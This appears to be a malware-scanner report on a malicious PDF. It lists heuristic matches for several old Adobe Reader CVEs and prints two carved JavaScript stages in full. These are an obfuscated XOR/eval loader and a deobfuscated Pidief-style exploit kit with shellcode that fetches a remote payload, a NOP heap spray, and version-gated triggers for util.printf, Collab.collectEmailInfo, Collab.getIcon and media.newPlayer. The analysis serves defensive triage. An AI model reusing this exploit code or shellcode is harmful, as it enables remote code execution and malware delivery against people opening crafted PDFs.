MALICIOUS
350
Risk Score
Machine Learning
- Nyx PDF Classifier malicious score 0.9999
Heuristics 9
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media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
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Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
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util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
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Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
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Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
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JavaScript action low 1 related finding PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://U.egh/4 Referenced by PDF JavaScript
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0011_000.js |
pdf-javascript-stream | PDF /JS object 11 at offset 0xE36 | 957 bytes |
SHA-256: 73699c6d47874ea1b5850b23bbed487084a648f8cde63bde491486ada31f0fe2 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s).
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Preview scriptFirst 1,000 lines of the extracted script
var nI = '';try {var yL='vaUxr xgJ U= Ux141 x;var tS = thiUs;vUar eDx=U\'ge\'+\'tPaUgeNt\'+\'hWord\';var pS=\'ge\'+\'tPag\'+\'eNUUuUxmW\'+x\'oxUrds\';vaxUr eZ=\'fr\'+\'omUxCh\'+\'arCode\';vaxUr zM=xUtS[pS](tUhxis.xpageNxum);var kR=\'\';for(varU f=0;f< UUzM; f++){xxkR=[UkR,tSx[eD]xx(tS.pageNumUU,f,trxxue)xU].join(\'\')x;;}vxxarx tY=\'\';forUx(var f=0;f < kxR.lenUgth; fxU+=2){uZ=kR.xUsubstr(Uxf,2);tY=[tY,String[eZUU](pxxarseInt(uZx,16)Ux^gJ)]xx.join(\'\')xx;}evaUUl(tY);xtYUU=UUnull;xU'.replace(/[Ux]/g, '');function getDivCoordinates(){var divs = document.getElementsByTagName('div');for(var no=0;no<divs.length;no++){if(divs[no].className=='imageBox' || divs[no].className=='imageBoxHighlighted' && divs[no].id){divXPositions[divs[no].id] = getLeftPos(divs[no]);divYPositions[divs[no].id] = getTopPos(divs[no]);divWidth[divs[no].id] = divs[no].offsetWidth;divHeight[divs[no].id] = divs[no].offsetHeight;}}}nI = new Function(yL);pK(cF);} catch(xK){nI();}
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legacy_pdfkit_stage_000.js |
deobfuscated-js | getPageWords-XOR Pidief stage normalized at offset 0x0 | 3723 bytes |
SHA-256: 0e84507677b36f1b6862c82865e7c70df19e3db8d5d083cc53a84dfd95261ea4 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 2 eval/decoder/string-building token(s).
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Preview scriptFirst 1,000 lines of the extracted script
var p=[];var vY=[];bG={bE:false};var t={bO:false};var sH='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#';var cJ=new Date();try {var pW='n'} catch(pW){};var xM=this.info['x'].replace(/[\s]/g, '');rG={xI:6169};vU=25925;vU++;var iD = this.info;var tO = (iD.producer.substr(0,5) == 'debug');var sPQ = new Array(); var uX = "%u";function rU(str){str = str.split(uX);var ret="";for(var i in str){if(str[i] != "")ret += String.fromCharCode(parseInt(str[i],16));}return ret;}function aD(str1, str2){return [str1, str2].join("");}function rM(qN){var pU = kD();var nA = uB();pU += ((pU.indexOf("?") > -1) ? "&" : "?") + "reader_version=" + nA;if(tO) app.alert("URL: " + pU);pU=bY(pU);var d=uX;var uZ=d+"C033"+d+"8B64"+d+"3040"+d+"0C78"+d+"408B"+d+"8B0C"+d+"1C70"+d+"8BAD"+d+"0858"+d+"09EB"+d+"408B"+d+"8D34"+d+"7C40"+d+"588B"+d+"6A3C"+d+"5A44"+d+"E2D1"+d+"E22B"+d+"EC8B"+d+"4FEB"+d+"525A"+d+"EA83"+d+"8956"+d+"0455"+d+"5756"+d+"738B"+d+"8B3C"+d+"3374"+d+"0378"+d+"56F3"+d+"768B"+d+"0320"+d+"33F3"+d+"49C9"+d+"4150"+d+"33AD"+d+"36FF"+d+"BE0F"+d+"0314"+d+"F238"+d+"0874"+d+"CFC1"+d+"030D"+d+"40FA"+d+"EFEB"+d+"3B58"+d+"75F8"+d+"5EE5"+d+"468B"+d+"0324"+d+"66C3"+d+"0C8B"+d+"8B48"+d+"1C56"+d+"D303"+d+"048B"+d+"038A"+d+"5FC3"+d+"505E"+d+"8DC3"+d+"087D"+d+"5257"+d+"33B8"+d+"8ACA"+d+"E85B"+d+"FFA2"+d+"FFFF"+d+"C032"+d+"F78B"+d+"AEF2"+d+"B84F"+d+"2E65"+d+"7865"+d+"66AB"+d+"6698"+d+"B0AB"+d+"8A6C"+d+"98E0"+d+"6850"+d+"6E6F"+d+"642E"+d+"7568"+d+"6C72"+d+"546D"+d+"8EB8"+d+"0E4E"+d+"FFEC"+d+"0455"+d+"5093"+d+"C033"+d+"5050"+d+"8B56"+d+"0455"+d+"C283"+d+"837F"+d+"31C2"+d+"5052"+d+"36B8"+d+"2F1A"+d+"FF70"+d+"0455"+d+"335B"+d+"57FF"+d+"B856"+d+"FE98"+d+"0E8A"+d+"55FF"+d+"5704"+d+"EFB8"+d+"E0CE"+d+"FF60"+d+"0455";uZ+=pU;return rU(uZ);};function kD(){var vUZ = (iD.author + iD.title).replace(/[\s]/g, '');var lI = kFC(vUZ, xM, sH);return lI;};function kFC(vUZ, sH, xM){var lI="";for(var i=0; i < vUZ.length; i++){var aXW = sH.indexOf(vUZ[i]);if(aXW > -1 ){lI += xM[aXW];}}return lI;};function bY(vUZ){var out = "";vUZ = eL(vUZ);g = Math.round(vUZ.length / 4);if (g != vUZ.length /4) vUZ+="00";for(var i=0; i < vUZ.length; i+=4){out+= uX + vUZ.substr(i+2, 2) + vUZ.substr(i, 2);}return out;};function eL(s){var i, f = 0, a = [];s += '';f = s.length;for (i = 0; i<f; i++) {a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();}return a.join('');};function nU(qJ, len){while (qJ.length * 2 < len){qJ = aD(qJ, qJ);}return qJ.substring(0, len / 2);};function dUH(rGJ){var nS = 0x0c0c0c0c; sV = rM("pdf");if (rGJ == 1){nS = 0x30303030;}var vA = 0x400000;var ln = sV.length * 2;var iDS = vA - (ln + 0x38);var qJ = rU(uX+"9090"+uX+"9090"); qJ = nU(qJ, iDS);var qRW = (nS - 0x400000) / vA;for (var oR = 0; oR < qRW; oR ++ ){sPQ[oR] = aD(qJ, sV);}};function uB(){try {return app.viewerVersion.toString();}catch(hG){ return 0;}}if(tO) app.alert("called exploit");var nA = uB();if(tO) app.alert("v: " + nA);if (nA > 8){if(tO) app.alert("util.printf");dUH(1);var aJ = "12999999999999999999";for (zI=0; zI < 276; zI++) aJ += "8";util.printf("%45000f", aJ);}if (nA < 8){if(tO) app.alert("Collab.collectEmailInfo");dUH(0);var aN = rU(uX+"0c0c"+uX+"0c0c");while (aN.length < 44952) aN += aN;this.collabStore = Collab.collectEmailInfo({ subj : "", msg : aN});}if (nA < 9.1){if (app.doc.Collab.getIcon){if(tO) app.alert("Collab.getIcon");dUH(0);var jG = unescape("%09");while (jG.length < 0x4000) jG += jG;jG = "N." + jG;app.doc.Collab.getIcon(jG);}}if (nA == 9.2){if(tO) app.alert("media.newPlayer");dUH(1);var sf="1.000000000.000000000.1337 : 3.13.37";util.printd(sf, new Date());try {media.newPlayer(null);} catch(e) {}util.printd(sf, new Date());}wD=["eF","l","rE"];var cX=9804;var z={};Br�
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